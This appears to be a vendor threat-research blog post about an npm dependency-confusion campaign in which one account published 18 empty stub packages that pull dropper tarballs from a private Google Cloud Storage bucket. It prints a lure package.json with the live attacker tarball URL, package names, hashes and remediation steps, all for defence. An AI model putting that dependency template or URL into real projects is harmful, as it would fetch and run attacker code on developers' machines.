CentrioleBlog
Back to blog

Threat Research

Inside the ltidi Cluster: One GCS Bucket, 18 Hollow Stubs, 17 Off-Registry Droppers

A single npm account published 18 empty stub packages over 25 days, each pulling a unique dropper tarball from a private Google Cloud Storage bucket that bypasses every npm registry scanner.

Date

Reading time

13 min read

Author

Centriole Research
Share
Inside the ltidi Cluster: One GCS Bucket, 18 Hollow Stubs, 17 Off-Registry Droppers

ryan-pdf-js@99.9.1 has two files. index.js is four characters: {}. package.json declares one dependency. That dependency is not an npm package. It is a direct HTTPS URL pointing to a tarball on a private Google Cloud Storage bucket the attacker controls: https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.1.tgz. When npm resolves dependencies, it fetches and unpacks that tarball without any registry scan. Whatever lifecycle scripts it contains execute immediately.

We traced the whltd3 publisher account and found ryan-pdf-js is not an isolated package. It is the eighteenth and most recent entry in a cluster of hollow stub packages published by the same account since June 2, 2026, each routing installs through a different dropper tarball on the same GCS bucket.

The Technique: Off-Registry Tarball as Dependency

npm accepts direct HTTPS URLs as dependency values in package.json. This is a documented feature, intended for private packages hosted outside the registry. When npm resolves an HTTPS tarball dependency, it fetches the URL, unpacks the tarball, and runs any declared lifecycle scripts exactly as it would for a registry package. The critical difference is that registry packages are indexed, scanned, and cached. An HTTPS tarball URL is none of those things. It is a blind fetch.

The ryan-pdf-js package uses this to route the actual payload entirely off the npm registry. The lure package itself contains nothing malicious. Every scanner that checks the npm package finds an empty stub. The dropper arrives as a dependency, from a GCS bucket named ltidi, under a path named depenconf.

depenconf is consistent with dependency confusion staging. The bucket name ltidi is the operator’s internal codename, embedded in the bucket URL, the dependency name (ltidisafe), and a lure package name (ltidiconf). The codename appears across all three artifact types simultaneously. That is not careful tradecraft.

Package Anatomy

Every package in the cluster follows an identical template. We pulled the ryan-pdf-js tarball and confirmed both evidence file hashes against the OSV advisory:

index.js: the entire lure package implementation
'use strict';
module.exports = {};
package.json: the only thing that matters
{
  "name": "ryan-pdf-js",
  "version": "99.9.1",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.1.tgz"
  },
  "author": "",
  "license": "ISC"
}

No author. No description. No homepage. No repository. No keywords. The package would fail every basic metadata check a security-aware developer runs before adding a dependency. The version number 99.9.1 is deliberate: it beats any internal package pinned to a realistic semver range, which is the version selection mechanism dependency confusion attacks rely on.

The index.js SHA256 322ee46d71101bed25f260f2e78a419b5472e28d1ba02831ced05c73b44e5bb8 is identical across every package in the cluster we checked. Every lure exports the same empty object.

The 18-Package Cluster

When we pulled the full publishing history for the whltd3 account, we found 16 additional packages beyond ryan-pdf-js, all following the same pattern. The account began publishing on June 2, 2026, and released packages in bursts of two to four per day before slowing to one every several days as the campaign continued.

Every package except firefly-utilities-helper@99.9.0 (the first version of that package, published June 4) pulls a unique ltidisafe dropper tarball. The 99.9.0 version of firefly-utilities-helper has no dependencies at all. The 99.9.1 version, published six days later on June 10, added the ltidisafe GCS dependency. That first version was the seed: a clean publish to claim the package name before the dropper was ready.

Published (UTC)PackageVersionDropper Tarball
2026-06-02 06:56@att-ebiz/abs-components-bc99.9.1ltidisafe-2.8.8.tgz
2026-06-02 07:26privacy-sdk99.9.1ltidisafe-2.8.9.tgz
2026-06-02 10:45po-ops-local-dev99.9.1ltidisafe-2.9.2.tgz
2026-06-02 11:15page-info-service99.9.1ltidisafe-2.9.3.tgz
2026-06-03 00:46commons-ui-styles99.9.1ltidisafe-2.9.6.tgz
2026-06-03 15:17corporate-front-vue99.9.1ltidisafe-2.9.7.tgz
2026-06-04 15:31housecall-ui99.9.1ltidisafe-2.9.8.tgz
2026-06-04 16:25firefly-utilities-helper99.9.0None (name registration only)
2026-06-04 17:32localization-lib99.9.1ltidisafe-3.0.1.tgz
2026-06-04 17:42mazemap99.9.1ltidisafe-3.0.2.tgz
2026-06-06 05:16motiondnb99.9.1ltidisafe-3.0.3.tgz
2026-06-06 05:17housecall-ui99.9.2ltidisafe-3.0.4.tgz
2026-06-06 05:42ng-search-api99.9.1ltidisafe-3.0.5.tgz
2026-06-10 17:15firefly-utilities-helper99.9.1ltidisafe-3.0.6.tgz
2026-06-11 17:41@genie-auth/config99.9.1ltidisafe-3.0.7.tgz
2026-06-14 09:39ltidiconf99.9.1ltidisafe-3.0.8.tgz
2026-06-18 01:34oem-agentic-shared99.9.1ltidisafe-3.0.9.tgz
2026-06-27 11:05ryan-pdf-js99.9.1ltidisafe-3.1.1.tgz

The dropper version numbers increment monotonically (2.8.8 through 3.1.1), with each new lure package receiving a fresh dropper tarball. Seventeen distinct dropper tarballs on the GCS bucket, one per live lure package. The version gaps (2.9.0, 2.9.1, 2.9.4, 2.9.5, 3.1.0) suggest intermediate versions were tested or staged and not published. The operator is running a deployment pipeline.

Dependency Confusion Targeting

The lure package names are not random. The operator registered names that match the shape of real internal packages at specific organizations. This is the dependency confusion attack surface: a developer at the targeted organization has a private @att-ebiz/abs-components-bc in their internal registry. If their .npmrc or CI pipeline has a fallback to the public registry, npm fetches the 99.9.1 version from the public registry instead, because 99.9 beats any realistic internal version.

The scoped packages are the strongest signal. @att-ebiz maps to AT&T eBiz internal infrastructure. @genie-auth targets an authentication configuration scope. We checked both scopes on the public registry: no legitimate packages exist under @att-ebiz on npm, and @genie-auth has no associated packages matching this pattern. The attacker registered these scopes to own the namespace on the public registry before any legitimate package could claim it.

mazemap is the most verifiable target. MazeMap is a real company with a legitimate JavaScript SDK. We checked the npm registry: whltd3 is the only publisher of mazemap on npm. The real MazeMap SDK is distributed under the @mazemap scope, not the unscoped name. The attacker registered the unscoped name to intercept installs from projects that reference mazemap without the scope prefix.

ryan-pdf-js targets developers in the pdf.js ecosystem. The 99.9.1 version number and the evocative name combine to make it a plausible transitive dependency in any project using Mozilla’s pdf.js tooling.

The GCS Dropper: What We Know and What We Do Not

The dropper tarballs at ltidi.storage.googleapis.com/depenconf/ are not accessible publicly. We attempted to retrieve ltidisafe-3.1.1.tgz and received a 403 response from the bucket. The bucket is private, serving only to npm clients that resolve the dependency from package.json during an actual npm install run, or to whoever holds the GCS service account credentials.

From the OSV advisory for oem-agentic-shared (MAL-2026-6095), which we confirmed shares the identical index.js hash with ryan-pdf-js, Amazon Inspector assessed the dropper architecture as: “any lifecycle scripts it contains execute on npm install.” The payload capability is unknown from static analysis of the lure package alone.

What the bucket path tells us: depenconf/ is consistent with dependency confusion staging infrastructure. An operator running this campaign at scale needs a way to serve unique dropper tarballs per target organization, with version numbers that can be updated without changing the lure package. The GCS bucket with monotonically versioned tarballs is that serving layer.

The bucket is private. Network inspection of the install will see an outbound HTTPS GET to ltidi.storage.googleapis.com. The response content is served over TLS and is not inspectable without the session keys.

OPSEC Failures

The ltidi codename is embedded in the bucket hostname, the dropper dependency name, and a lure package name simultaneously.

ltidi.storage.googleapis.com names the bucket after the campaign. ltidisafe names the dependency after the campaign. ltidiconf is a lure package whose name contains the campaign codename. An operator running 18 packages over 25 days and using their internal project name as a public GCS bucket hostname has made the entire campaign trivially attributable to a single infrastructure decision.

firefly-utilities-helper@99.9.0 is the same mistake the clsx-js case illustrated in the db-* cluster. Publishing a clean version to claim a name, then adding the dropper in a subsequent version, leaves a documented staging event in the registry timeline. The June 4 seed publish and the June 10 dropper publish are both live and visible.

The email domain comcesync.com has no prior reporting in VirusTotal, Shodan, or the ossf malicious-packages corpus we searched. The username whltd3 does not appear in any prior malicious package report. We found no prior threat intelligence linking this operator to a named campaign or actor.

IOC Table

IndicatorTypeValueMethod
ryan-pdf-jsnpm package99.9.1Identified in OSV MAL-2026-6546
oem-agentic-sharednpm package99.9.1Identified in MAL-2026-6095; same index.js SHA256 confirmed
index.jsLure file (all packages)SHA256: 322ee46d71101bed25f260f2e78a419b5472e28d1ba02831ced05c73b44e5bb8Hash confirmed against extracted tarball; identical across all cluster packages
ryan-pdf-js-99.9.1.tgzLure tarballSHA1: 08d81cc0838beba89f4eb2285e9ac932dc6ed88bVerified against registry metadata and OSV package_integrity
ltidi.storage.googleapis.comGCS bucket (attacker-controlled)Bucket for all 17 dropper tarballsDecoded from dependencies.ltidisafe in all lure package.json files
ltidisafeOff-registry dependency nameVersion range: 2.8.8 to 3.1.1Extracted from package.json across all 18 lure packages
depenconf/GCS bucket path prefixhttps://ltidi.storage.googleapis.com/depenconf/ltidisafe-X.Y.Z.tgzPulled from dependencies field across all registry metadata entries
whltd3npm publisher accountEmail: whltd3@comcesync.comPulled from registry metadata during triage
comcesync.comPublisher email domainNo prior threat intelligenceSearched via VirusTotal, Shodan, and ossf malicious-packages corpus

Affected Versions

All packages below are published by whltd3 / whltd3@comcesync.com. All carry the same empty index.js and route installs through ltidisafe on the GCS bucket. Two packages have confirmed OSV entries. The remaining 16 were identified during our expanded account pivot and share identical structural indicators.

PackageVersionPublished (UTC)Lure SHA1StatusOSV
@att-ebiz/abs-components-bc99.9.12026-06-02 06:56(see registry)LiveNot yet in OSV
privacy-sdk99.9.12026-06-02 07:26(see registry)LiveNot yet in OSV
po-ops-local-dev99.9.12026-06-02 10:45(see registry)LiveNot yet in OSV
page-info-service99.9.12026-06-02 11:15(see registry)LiveNot yet in OSV
commons-ui-styles99.9.12026-06-03 00:46(see registry)LiveNot yet in OSV
corporate-front-vue99.9.12026-06-03 15:17(see registry)LiveNot yet in OSV
housecall-ui99.9.1, 99.9.22026-06-04, 2026-06-06(see registry)LiveNot yet in OSV
firefly-utilities-helper99.9.0, 99.9.12026-06-04, 2026-06-10(see registry)LiveNot yet in OSV
localization-lib99.9.12026-06-04 17:32(see registry)LiveNot yet in OSV
mazemap99.9.12026-06-04 17:42(see registry)LiveNot yet in OSV
motiondnb99.9.12026-06-06 05:16(see registry)LiveNot yet in OSV
ng-search-api99.9.12026-06-06 05:42(see registry)LiveNot yet in OSV
ltidiconf99.9.12026-06-14 09:39(see registry)LiveNot yet in OSV
@genie-auth/config99.9.12026-06-11 17:41(see registry)LiveNot yet in OSV
oem-agentic-shared99.9.12026-06-18 01:348406d06c4ac1bd857eee94e0c4f3874e2427848eLiveMAL-2026-6095
ryan-pdf-js99.9.12026-06-27 11:0508d81cc0838beba89f4eb2285e9ac932dc6ed88bLiveMAL-2026-6546

Remediation

  1. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for all 18 package names listed in the affected versions table. Any match means npm install fetched a dropper tarball from ltidi.storage.googleapis.com. The lure package name in the lockfile is the symptom; the actual payload arrived as ltidisafe in the node_modules tree.

  2. Also search lockfiles for ltidisafe directly. If the lure package executed successfully, ltidisafe will appear as an installed dependency in the resolved tree.

  3. Check egress logs for outbound HTTPS connections to ltidi.storage.googleapis.com. The fetch happens during npm install dependency resolution, before any application code runs. Any connection to that host confirms a dropper tarball was downloaded. The timestamp of the first connection bounds the exposure window.

  4. If node_modules/ltidisafe is present on any machine, preserve it for forensic analysis before removing it. It is the only recoverable copy of the dropper payload. Hash every file in it and compare against any threat intelligence available at the time of incident response.

  5. Rotate all credentials accessible from the affected machine at the time of the install: npm tokens, GitHub tokens, cloud provider credentials, SSH keys, and any environment variables present in the shell at install time.

  6. If the affected install occurred in a CI/CD pipeline, treat all secrets injected into that pipeline job as exposed. Audit GitHub Actions secrets, OIDC tokens, and any environment variables scoped to that workflow.

  7. Block outbound connections to ltidi.storage.googleapis.com at the perimeter. All 18 lure packages remain live on the registry. Any developer who installs one of them today will trigger a fresh dropper fetch from the same bucket.

All 18 packages and 17 distinct dropper tarballs remain live as of the time of this writing. The operator controls the payload server-side. Removing the lure packages from npm does not invalidate the GCS tarballs already fetched and unpacked on affected machines.